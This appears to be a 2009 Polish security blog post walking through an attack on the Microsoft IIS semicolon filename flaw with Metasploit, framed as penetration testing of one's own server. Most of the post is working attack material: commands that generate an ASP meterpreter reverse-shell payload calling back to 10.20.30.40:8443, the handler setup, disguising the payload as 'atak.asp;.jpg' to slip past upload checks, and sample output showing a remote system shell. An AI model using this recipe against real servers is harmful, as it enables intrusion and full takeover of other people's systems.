29 grudnia 2009

Metasploit Framework: testowanie podatności Microsoft IIS na atak średnikowy



Serwisy zajmujące się bezpieczeństwem informatycznym nadal rozpisują się na temat odkrytej kilka dni temu luki Zero Day w oprogramowaniu serwerowym Microsoft IIS. W międzyczasie MS przyznał, że luka istnieje, natomiast organizacje SANS oraz SecurityFocus opublikowały poradniki pozwalające na zabezpieczenie się przed udanym atakiem.

W jaki jednak sposób możemy (w praktyce) stwierdzić, czy nasz serwer umożliwiający użytkownikom ładowanie własnych plików graficznych, jest rzeczywiście podatny na atak średnikowy? Najlepszą metodą będzie jak zawsze w takiej sytuacji test penetracyjny, czyli próba zaatakowania własnego systemu! Jako, że HCSL to nie tylko najciekawsze oraz najnowsze newsy ze świata InfoSec, ale przede wszystkim najciekawsze ćwiczenia praktyczne ;), przedstawię krok po kroku sposób na wykonanie ataku średnikowego przeciwko własnemu serwerowi. Przypomnę jeszcze tylko, że tego rodzaju testy wolno wykonywać wyłącznie w stosunku do własnych systemów.

Do przeprowadzenia naszego ataku testowego posłużymy się niezastąpionym środowiskiem Metasploit Framework. Osoby nieobeznane z testami penetracyjnymi oraz podstawami pracy ze środowiskiem Metasploit, zachęcam najpierw do przestudiowania wpisu Metasploit Framework: przykładowy test penetracyjny w praktyce.

Błąd średnikowy, umożliwia ukrycie wykonywalnego pliku ASP pod postacią niegroźnego zbioru JPEG, w celu umieszczenia szkodliwego kodu i jego wykonania na serwerze. Sednem naszego ataku testowego jest więc spreparowanie odpowiedniego pliku. W celu wygenerowania pliku posłużymy się wchodzącym w skład Mestasploit Framework modułem msfpayload.

Do wygenerowania złośliwego kodu ASP posłużą nam następujące polecenia:
  • msfpayload windows/meterpreter/reverse_tcp \
  • LHOST=10.20.30.40 LPORT=8443 R | \
  • msfencode -t asp -o atak.asp

Tak przygotowany skrypt atak.asp po uruchomieniu na serwerze, spowoduje nawiązanie sesji zwrotnej z komputerem intruza o ustalonym adresie IP 10.20.30.40 na porcie 8443 TCP. Pozostaje nam już tylko skonfigurowanie listenera (modułu nasłuchującego, zdolnego do odebrania tegoż zwrotnego połączenia z serwerem). W tym celu posłużymy się następującymi poleceniami środowiska msfconsole (jednego z interfejsów dostępnych w ramach Metasploit Framework):
  • $ msfconsole
  • msf> use exploit/multi/handler
  • msf (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
  • msf (handler) > set LHOST 10.20.30.40
  • msf (handler) > set LPORT 8443
  • msf (handler) > set ExitOnSession false
  • msf (handler) > exploit -j

Po utworzeniu listenera oczekującego na połączenie, możemy już utworzyć testowy plik w jego ostatecznej postaci, za pomocą polecenia:
  • cat saint.jpg atak.asp > "atak.asp;.jpg"

Jak widać, nasz skrypt został połączony z plikiem JPG (w celu oszukania mechanizmów sprawdzania zawartości pliku) oraz nazwany atak.asp;.jpg (co pozwala na wykorzystanie właściwej luki serwera IIS w sposobie interpretacji nazw plików).

Teraz pozostaje już tylko załadowanie naszego pliku na serwer poprzez odpowiedni formularz (odpowiednia nazwa oraz zawartość graficzna pozwolą na obejście podstawowych mechanizmów zabezpieczających), a następnie wyświetlenie strony internetowej zawierającej załadowany uprzednio plik. Jeśli katalog do którego trafił nasz plik dysponuje prawami wykonania, złośliwy skrypt ASP zostanie wykonany. To z kolei spowoduje nawiązanie połączenie z przygotowanym wcześniej listenerem:

[*] Starting the payload handler...
[*] Started reverse handler on port 8443
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened

Następnie, po wydaniu w konsoli listenera polecenia:
  • msf exploit(handler) > sessions -i 1
oraz w kolejnej konsoli polecenia:
  • meterpreter > shell
otrzymamy ostatecznie wiersz poleceń docelowego serwera:

Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\serwer>

W taki oto sposób udało nam się przejąć pełną kontrolę nad serwerem za pomocą luki, która wg najnowszego komunikatu firmy Microsoft wcale nie istnieje!